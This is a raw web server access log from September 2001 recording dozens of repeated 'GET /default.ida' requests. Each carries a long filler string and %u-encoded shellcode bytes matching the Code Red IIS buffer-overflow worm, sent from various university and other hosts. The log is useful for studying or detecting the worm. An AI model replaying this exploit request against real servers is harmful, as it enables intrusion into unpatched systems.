13:42:18: kgal2.usask.ca [128.233.94.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 14:29:21: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 15:03:42: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 16:26:23: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 16:50:45: dialup-cc2-50.cc.columbia.edu [128.59.58.155] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 16:51:36: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 17:15:18: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 17:30:49: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 19:14:23: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 22:01:20: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 23:24:43: [64.221.60.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 00:29:04: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 05:08:30: [202.163.200.36] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 06:13:48: [61.151.228.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 09:27:06: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 10:03:26: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 10:23:37: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 13:25:07: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 13:55:46: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 14:33:11: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 16:47:19: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 17:27:28: [63.164.120.72] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 18:27:51: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 20:10:06: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 20:50:52: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 21:39:09: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 22:21:40: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 22:23:53: [61.154.12.110] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 22:54:41: dialup-ccts5-55.cc.columbia.edu [128.59.6.64] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010909 23:58:33: Keith.oird.vt.edu [128.173.64.231] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 01:11:13: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 01:28:31: [208.48.171.204] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 02:22:08: vp184049.reshsg.uci.edu [128.195.184.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 03:10:50: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 05:05:46: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 06:06:18: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 07:19:19: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 08:30:55: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 08:54:20: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010910 10:16:37: ariadne.cs.columbia.edu [128.59.19.65] "GET 